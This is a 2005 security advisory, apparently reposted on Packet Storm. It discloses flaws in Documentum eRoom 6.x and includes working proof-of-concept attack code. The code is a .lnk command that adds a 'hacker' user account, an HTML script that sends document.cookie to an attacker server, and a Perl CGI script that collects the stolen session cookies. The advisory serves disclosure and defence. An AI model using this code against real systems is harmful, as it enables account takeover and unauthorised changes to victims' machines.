Documentum eRoom 6.x suffers from problematic cookie handling and code execution vulnerabilities.
0ecd59218425650299eb6433cd10686e0281e8c5eeacf121d26f18a5aeaec0ff /*
*****************************************************************************************************************
$ An open security advisory #9 - eRoom v6.* Vulnerabilities
*****************************************************************************************************************
1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com
2: Bug Released: July 06 2005
3: Bug Impact Rate: Medium / Hi
4: Bug Scope Rate: Remote
*****************************************************************************************************************
$ This advisory and/or proof of concept code must not be used for commercial gain.
*****************************************************************************************************************
Documentum eRoom
http://www.documentum.com
"Documentum eRoom enables enterprises to become more productive, efficient, and agile by bringing
together people, processes, and content. In fact, more than 1000 Global 2000 enterprises use
Documentum eRoom to optimize key projects and processes."
eRoom has some vulnerabilities in that it does not deal with attached files or handle cookies in
a secure manner. This being the case, it is possible to abuse trust between users utilising the
system, execute code on systems of valid users and compromise user accounts by stealing/replaying
their session cookies.
Issues
------
1) Attaching malicious files
2) Stealing and replaying cookies
-> I am unable to verify if the replay attack and cookie time out effects all versions of eRoom
6.* as I do not have access to a default installation and am unable to find a demo version
that I can use, though the chances are it is. I can guarantee that cookies can be stolen from
all versions and java script / HTML can be run from within an attached file.
1 - Attached files
------------------
eRoom allows a user to attach files into the website to share with other users, however there is
no restriction on the type of file that can be attached. This can be abused to remotly compromise
the systems of eRooms users.
If an .exe file is uploaded, when the user clicks on the file the usual "what do you want to do
with this file" box pops up and as such, this does not seem a big problem. However, this check can
be bypassed by uploading a .lnk file (windows shortcut) to the site, which contains any command you
wish, I used the following:
%SystemRoot%\system32\cmd.exe /k net user hacker hackerpass /ADD
proving it is possible to have a command run on the remote users system once the user clicks on the
file. Notice there is no further user interaction required and no pop-up box is recieved, the .lnk
just gets downloaded by the eRoom plugin in the background and gets run, adding a user account to
the system.
There are no warnings given to the user about the file containing a link to an executable image, and
as such, it remains an invisible compromise.
The downloaded file will be left in
C:\Documents and Settings\user\Application Data\eRoom\eRoom Client\V6\Attachments\
{blahblah-blah-blah-blah-1234567890}\0_2bcb\budget_info.lnk
2 - Stealing and replaying cookies
----------------------------------
Cookies used for authentication in eRoom seem to be set up in a manner that allows a simple replay
attack to be performed. The session cookie does not expire, as such, once it has been compromised
and harvested, anyone can then replay the cookie and gain access to the site as the original user.
Evil user uploads an html file to eRoom, the victim browses the file cookie.html, which will send
the users cookie information to a cgi script on a malicious web server and harvest the detials.
These cookie details can then be used in a replay attack giving the attacker the potential to gain
access to the web site as the user who accessed cookie.html.
/* cookie.html */
<html>
<head>
<title>Raiding the cookie jar</title>
</head>
<body>
<br>
<script>document.location='https://10.1.1.2/cgi-bin/cookie.cgi?' +document.cookie</script>
<br>
</body>
</html>
/* cookie.cgi */
#!/usr/bin/perl
use CGI qw(:standard);
use CGI::Carp qw(warningsToBrowser fatalsToBrowser);
use strict;
my $break = "<br>";
my $browser = $ENV{'HTTP_USER_AGENT'};
my $cookie = $ENV{'QUERY_STRING'};
my $remote = $ENV{'REMOTE_ADDR'};
my $referer = $ENV{'HTTP_REFERER'};
my $reqmeth = $ENV{'REQUEST_METHOD'};
print header;
print "<html>",
"<head><title>Cookie Jacker</title></head>",
"<center><h1>Yummy!</h1>",
"ASPSESSIONID & SMSESSIONID could be useful for something? ;)",
"$break$break$break$break",
"<img src=\"/cookiemonster.jpg\">",
"</center>",
"$break$break$break$break\n";
$cookie =~ s/;%20/$break/g;
if($browser =~ /MSIE/) {
print "Come on, is this the 90s or smtng!$break";
} else {
print "j00 are l33t$break";
}
print "Client connection came from $remote$break",
"Refered by $referer$break",
"Using $reqmeth$break$break",
"$cookie\n";
print end_html;
Also, looking in access_log, information similar to the following will be presented:
10.1.1.2 - - [21/Jun/2005:16:57:23 +0100] "GET /cgi-bin/a.cgi?< cookie_information > AS HTTP/1.1" 200 1769
There are no fixes available for these issues in 6.*, perhaps version 7 is more secure, all users are advised
to update to the latest version.
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed